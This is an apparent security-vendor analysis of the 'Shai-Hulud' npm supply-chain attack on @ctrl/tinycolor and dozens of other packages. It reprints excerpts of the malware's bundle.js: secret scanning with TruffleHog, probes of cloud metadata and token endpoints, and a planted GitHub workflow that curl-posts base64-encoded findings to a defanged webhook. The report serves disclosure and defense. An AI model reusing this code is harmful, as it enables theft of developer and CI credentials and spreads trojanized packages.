A malicious update to @ctrl/tinycolor (2.2M weekly downloads) was detected on npm as part of a broader supply chain attack that impacted more than 40 packages spanning multiple maintainers.
The compromised versions include a function (NpmModule.updatePackage) that downloads a package tarball, modifies package.json, injects a local script (bundle.js), repacks the archive, and republishes it, enabling automatic trojanization of downstream packages.
The issue was first noticed by Daniel dos Santos Pereira, who flagged suspicious behavior in the latest release. Socket’s automated malware detection also surfaced the threat in 40+ additional packages, and our research team continues to analyze the payload and its distribution method. While tinycolor is the most visible package, with 2.2 million weekly downloads on npm, it did not originate these compromises, but is one package among dozens trojanized in this active campaign.
Compromised Packages and Versions
The following npm packages and versions have been confirmed as affected:
The bundle.js script downloads and executes TruffleHog, a legitimate secret scanner, then searches the host for tokens and cloud credentials. It validates and uses developer and CI credentials, creates a GitHub Actions workflow inside repositories, and exfiltrates results to a hardcoded webhook (hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7).
The script runs automatically when the package is installed.
The referenced bundle.js is a large, minified file that functions as a controller. It profiles the platform, fetches a matching TruffleHog binary, and searches for known credential patterns across the filesystem and repositories.
// De-minified transcription from bundle.jsconst { execSync } = require("child_process");
const os = require("os");
functiontrufflehogUrl() {
const plat = os.platform();
if (plat === "win32") return"hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_windows_x86_64.zip";
if (plat === "linux") return"hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_linux_x86_64.tar.gz";
return"hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_darwin_all.tar.gz";
}
functionrunScanner(binaryPath, targetDir) {
// Executes downloaded scanner against local pathsconst cmd = `"${binaryPath}" filesystem "${targetDir}" --json`;
const out = execSync(cmd, { stdio: "pipe" }).toString();
returnJSON.parse(out); // Parsed findings contain tokens and secrets
}
The controller also includes a bash block that uses a GitHub personal access token if present, writes a GitHub Actions workflow into .github/workflows, and exfiltrates collected content to a webhook.
# Extracted from a literal script block inside bundle.js
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"# Minimal exfil step inside the generated workflow# Note: defanged URL for safety
run: |
CONTENTS="$(cat findings.json | base64 -w0)"
curl -s -X POST -d "$CONTENTS""hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7"
Stealing Secrets
The script combines local scanning with service specific probing. It looks for environment variables such as GITHUB_TOKEN, NPM_TOKEN, AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY. It validates npm tokens with the whoami endpoint, and it interacts with GitHub APIs when a token is available. It also attempts cloud metadata discovery that can leak short lived credentials inside cloud build agents.
// Key network targets inside the bundleconst imdsV4 = "http://169[.]254[.]169[.]254"; // AWS instance metadataconst imdsV6 = "http://[fd00:ec2::254]"; // AWS metadata over IPv6const gcpMeta = "http://metadata[.]google[.]internal"; // GCP metadata// npm token verificationfetch("https://registry.npmjs.org/-/whoami", {
headers: { "Authorization": `Bearer ${process.env.NPM_TOKEN}` }
});
// GitHub API use if GITHUB_TOKEN is presentfetch("https://api.github.com/user", {
headers: { "Authorization": `token ${process.env.GITHUB_TOKEN}` }
});
The workflow that it writes to repositories persists beyond the initial host. Once committed, any future CI run can trigger the exfiltration step from within the pipeline where sensitive secrets and artifacts are available by design.
Additional Exfiltration
The payload aggregates findings into a local file named data.json before any outbound transfer. In addition to planting a workflow that posts ${{ toJSON(secrets) }} to webhook[.]site, the script can publish stolen data into public GitHub repositories created under the victim account, which mirrors patterns seen in the Nxincident. This route persists even if webhook egress is blocked, and it expands impact to any repositories reachable by the captured token.
Socket detected multiple compromised CrowdStrike npm packages, continuing the "Shai-Halud" supply chain attack that previously hit Tinycolor and 40+ other packages.